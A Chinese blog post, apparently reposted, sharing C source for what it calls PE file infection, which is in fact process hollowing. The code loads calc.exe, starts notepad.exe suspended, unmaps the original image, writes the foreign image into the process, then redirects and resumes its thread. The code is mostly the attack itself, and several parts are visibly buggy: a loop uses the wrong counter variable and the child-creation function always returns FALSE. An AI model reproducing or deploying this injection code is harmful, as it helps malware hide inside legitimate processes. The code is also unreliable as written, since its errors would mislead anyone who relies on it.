PE文件感染

来源:互联网 发布:能在淘宝上买貂皮吗 编辑:程序博客网 时间:2024/04/28 10:56

最近学习了一下PE文件,看了份PE文件感染源码,分析了一下,其实就是修改进程,抛砖引玉

本来想把整个代码发下,但是太大了,只发函数

#/////读取文件PE信息
BOOL readPEInfo(FILE* fp,MZHeader* outMZ,PE_Header* outPE,PE_ExtHeader* outpeXH,SectionHeader** outSecHdr)
{
        ///将文件指针移动到文件末尾
        fseek(fp,0,SEEK_END);
        //整个文件长度
        long filesize=ftell(fp);
        //将文件指针移回开始
        fseek(fp,0,SEEK_SET);
    //判断文件大小是否正确
        if(filesize<sizeof(MZHeader))
        {
                printf("文件的大小不够");
            return FALSE;
        }
        MZHeader mzH;
        //读取文件DOS头信息
        fread(&mzH,sizeof(MZHeader),1,fp);
        //判断文件DOS头标志
        if(mzH.signature!=0x5a4d)
        {
                printf("文件 DOS头错误");
                return FALSE;
        }

        if((unsigned long)filesize<mzH.offsetToPE+sizeof(MZHeader))
        {
                printf("DOS头数据不够/n");
                return FALSE;
        }
    //将文件指针移动到PE处(DOS头中不仅包括IMAGE_DOS_SIGNATURE,还有DOS_STUB,所以必须移动文件指针,而以后fread自动移动),读取PE文件信息
        fseek(fp,mzH.offsetToPE,SEEK_SET);
        PE_Header peH;
        fread(&peH,sizeof(PE_Header),1,fp);

        if(peH.signature!=0x4550 || peH.sizeOfOptionHeader!=sizeof(PE_ExtHeader))
        {
                printf("PE头标志不正确");
                return FALSE;
        }
    //读取PE扩展头信息,不必移动指针
    PE_ExtHeader peXH;
        fread(&peXH,sizeof(PE_ExtHeader),1,fp);
        //读取节表头信息,节表头为一个数组
    SectionHeader* secHdr=new SectionHeader[peH.numSections];
        fread(secHdr,sizeof(SectionHeader)*peH.numSections,1,fp);

        *outMZ=mzH;
        *outPE=peH;
        *outpeXH=peXH;
        *outSecHdr=secHdr;
        return TRUE;
}
//经典的区块分配函数
DWORD AlignData(DWORD dwSize,DWORD dwAlign)
{
        return ((dwSize-1)/dwAlign+1)*dwAlign;
}

////计算文件在内存中大小,其实就是可选头中SizeOfImage;
int calcTotalImageSize(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr)
{
        int alignment;
        //文件在内存中区块大小
        alignment=inpeXH->sectionAlignment;
        int result=0;
        result+=AlignData(inpeXH->sizeOfHeaders,alignment);
        ///计算各个节在内存中大小
        for(int i=0;i<inPE->numSections;i++)
        {
                result+=AlignData(inSecHdr[i].virtualSize,alignment);
        }
        return result;
}

///将母体文件导入内存
BOOL loadPE(FILE* fp,MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr,LPVOID ptrLoc)
{
        char* outPtr=(char*)ptrLoc;
        //将文件头指针移到文件头
        fseek(fp,0,SEEK_SET);
    unsigned long headsize=inpeXH->sizeOfHeaders;
        //如果文件各头大小有误,进行修改
        for(int i=0;i<inPE->numSections;i++)
        {
                if(headsize>inSecHdr[i].pointerToRawData)
                {
                        headsize=inSecHdr[i].pointerToRawData;
                }
        }
        unsigned long readsize;
        //将母体文件头读取到内存中
        readsize=fread(outPtr,1,headsize,fp);
        if(readsize!=headsize)
        {
                printf("母体文件头导入内存时失败/n");
                return FALSE;
        }
        //移动内存指针
        outPtr+=AlignData(headsize,inpeXH->sectionAlignment);
        ///将各个节导入内存
        for(int n=0;i<inPE->numSections;i++)
        {
                //以文件节在磁盘中大小为准,
                if(inSecHdr[i].sizeOfRawData)
                {
                        unsigned long toRead=inSecHdr[i].sizeOfRawData;
                        //文件在磁盘中大小一般都比在内存中小,如果大,可能发生错误
                        if(inSecHdr[i].sizeOfRawData>inSecHdr[i].virtualSize)
                        {
                                inSecHdr[i].sizeOfRawData=inSecHdr[i].virtualSize;
                        }
                        //移动文件指针到各节开始
                        fseek(fp,inSecHdr[i].pointerToRawData,SEEK_SET);
                        //将此节导入内存
                        readsize=fread(outPtr,1,toRead,fp);
                        if(readsize!=toRead)
                        {
                                printf("母体文件导入节时发生错误/n");
                                return FALSE;
                        }
                        //移动内存地址
                        outPtr+=AlignData(toRead,inpeXH->sectionAlignment);
                }
                //如果此值为空,则以在内存中大小为准
                else
                {
                        if(inSecHdr[i].virtualSize)
                        {
                                //移动内存指针
                                outPtr+=AlignData(inSecHdr[i].virtualSize,inpeXH->sectionAlignment);
                        }
                }
        }
        return TRUE;
}
//自定位重定位结构体
struct FixupBlock
{
        unsigned long pageRVA;
        unsigned long blockSize;
};

///进行基址重定位
void doRelocation(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr,LPVOID ptrLoc,DWORD newbase)
{
        if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
        {
                long delta;
                //映射到内存时需要变化的大小
                delta=newbase-inpeXH->imageBase;
        //定位到重定位第一个结构体处
                FixupBlock* fixBlk=(FixupBlock*)((char*)ptrLoc+inpeXH->relocationTableAddress);
        while(fixBlk->blockSize)
                {
                        int numEntries;
                        //得到需要重定位资料项的个数
                        numEntries=(fixBlk->blockSize-sizeof(fixBlk))/2;
                        unsigned short* offsetPtr=(unsigned short*)(fixBlk+1);
                        for(int i=0;i<numEntries;i++)
                        {
                                //重定位资料项(*offset)低12位是当前指向相对于当前页的偏移,必须加上起始偏移页才是真正的偏移地址
                                DWORD* codeLoc=(DWORD*)((char*)ptrLoc+fixBlk->pageRVA+(*offsetPtr&0x0FFF));
                                //重定义类型,类型3为需要重定位,类型0无意义
                                int relocType;
                                relocType=(*offsetPtr&0x0F000);
                                if(relocType==3)
                                {
                                        *codeLoc=(*codeLoc)+delta;
                                }
                                //使offsetPtr指向下一个重定位资料项
                                offsetPtr++;
                        }
                        fixBlk=(FixupBlock*)offsetPtr;
                }
        }
}



BOOL hasRelocationTable(PE_ExtHeader* inpeXH)
{
        if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
        {
                return TRUE;
        }
        return FALSE;
}

//定义感染程序信息结构体
typedef struct _PROCINFO
{
        DWORD baseAddr;
        DWORD imageSize;
}PROCINFO;


//创建感染子程序
BOOL createchild(PROCESS_INFORMATION pi,PCONTEXT ctx,PROCINFO* outChild)
{
        //初始化STARTUPINFO 结构体
        STARTUPINFO si;
        memset(&si,0,sizeof(STARTUPINFO));
        si.cb=sizeof(STARTUPINFO);

        char buff[MAX_PATH]="c://notepad.exe";
    //创建子进程
        if(CreateProcess(buff,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
        {
                //得到主线程上下文
                ctx->ContextFlags=CONTEXT_FULL;
                GetThreadContext(pi.hThread,ctx);
     
        //将进程起始地址读取到pebInfo中
        DWORD* pebInfo=(DWORD*)ctx->Ebx;
        DWORD read;
                //读取pebInfo指针指向的地址(地址中存放的真正进程地址)
                ReadProcessMemory(pi.hProcess,&pebInfo[2],(LPVOID)outChild->baseAddr,sizeof(DWORD),&read);

                DWORD curAdd=outChild->baseAddr;
                MEMORY_BASIC_INFORMATION memInfo;
                ///循环查询整个进程的内存页
                while(VirtualQueryEx(pi.hProcess,(LPVOID)&curAdd,&memInfo,sizeof(MEMORY_BASIC_INFORMATION)))
                {
                        if(memInfo.State==MEM_FREE)
                        {
                                break;
                        }
                        curAdd+=memInfo.RegionSize;
                }
                //计算子程序导入内存后的大小
                outChild->imageSize=curAdd-outChild->baseAddr;
        
        }
        return FALSE;
}



typedef DWORD (WINAPI* PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle,IN PVOID BaseAddress);


//进行感染
void doFork(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* insecHdr,LPVOID ptrLoc,DWORD imagesize)
{
        PROCESS_INFORMATION pi;
        CONTEXT ctx;
        PROCINFO childInfo;
        if(createchild(pi,&ctx,&childInfo))
        {
                LPVOID v=(LPVOID)NULL;
                //以下将母体文件写入感染程序的进程,其大小应小于子程序
                //1 母体程序与子程序在内存中映射首地址一样,并且母体大小小于子程序
                if(inpeXH->imageBase==childInfo.baseAddr && imagesize<childInfo.imageSize)
                {
                        v=(LPVOID)childInfo.baseAddr;
                        DWORD oldprotect;
                        //修改子进程读写属性
                        VirtualProtectEx(pi.hProcess,v,childInfo.imageSize,PAGE_EXECUTE_READWRITE,&oldprotect);
                        printf("using existing memory for 母体文件");
                }
                //2为母体程序在进程中重新分配内存
                else
                {
                        ///断开母体文件实际物理地址与内存地址映射
                        PTRZwUnmapViewOfSection pZwUnmapViewOfSection=(PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwUnmapViewOfSection");
                        if(pZwUnmapViewOfSection(pi.hProcess,(LPVOID)childInfo.baseAddr)==0)
                        {
                                //在进程中重新为母体程序分配内存
                                v=VirtualAllocEx(pi.hProcess,(LPVOID)inpeXH->imageBase,imagesize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
                                if(v)
                                {
                                        printf("unmaped and allocate new memory for 母体文件/n");
                                }
                        }
                }
                //如果需要重定位,则进行重定位
                if(!v &&hasRelocationTable(inpeXH))
                {
                        v=VirtualAllocEx(pi.hProcess,NULL,imagesize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
                        if(v)
                        {
                                printf("allocated memory for new exe will be renew reallocated/n");
                                doRelocation(inMZ,inPE,inpeXH,insecHdr,ptrLoc,(unsigned long)v);
                        }
                }



        if(v)
                {
                        DWORD* pebInfo=(DWORD*)ctx.Ebx;
                        DWORD write;
                        //修改子进程中起始地址
                        WriteProcessMemory(pi.hProcess,&pebInfo[2],(LPVOID)v,sizeof(DWORD),&write);

                        if(WriteProcessMemory(pi.hProcess,v,ptrLoc,imagesize,&write))
                        {
                                printf("母进程inject the 子程序successfully/n");
                                ctx.ContextFlags=CONTEXT_FULL;
                                //修改环境上下文中Eax值(程序入口点)
                                if(DWORD(v)==childInfo.baseAddr)
                                {
                                        ctx.Eax=inpeXH->imageBase+inpeXH->addressOfEntryPoint;
                                }
                                else
                                {
                                        ctx.Eax=(DWORD)v+inpeXH->addressOfEntryPoint;
                                        //修改进程上下文环境
                                        SetThreadContext(pi.hThread,&ctx);
                                        ResumeThread(pi.hThread);
                                }
                        }
                        else
                        {
                                printf("writeprocessmemory failed/n");
                                TerminateProcess(pi.hProcess,0);
                        }
                }

        }
}

int main(int argc, char* argv[])
{
        FILE* fp;
        fp=fopen("c://calc.exe","rb");

        if(fp)
        {
                MZHeader mzH;
        PE_Header peH;
        PE_ExtHeader peXH;
        SectionHeader* secHdr;
                //读取文件PE信息
                if(readPEInfo(fp,&mzH,&peH,&peXH,&secHdr))
                {
                        int imagesize;
                        //imagesize=peXH.sizeOfImage;
            imagesize=calcTotalImageSize(&mzH,&peH,&peXH,secHdr);
                        ///给母体文件分配内存
                        LPVOID ptrLoc=VirtualAlloc(NULL,imagesize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
                        if(ptrLoc)
                        {
                                loadPE(fp,&mzH,&peH,&peXH,secHdr,ptrLoc);
                                doFork(&mzH,&peH,&peXH,secHdr,ptrLoc,imagesize);
                        }
                        else
                        {
                                printf("allocate memory failed/n");
                        }
                        fclose(fp);
                }
        }
        else
        {
                printf("cant open the file/n");
        }
        return 0;
}

原创粉丝点击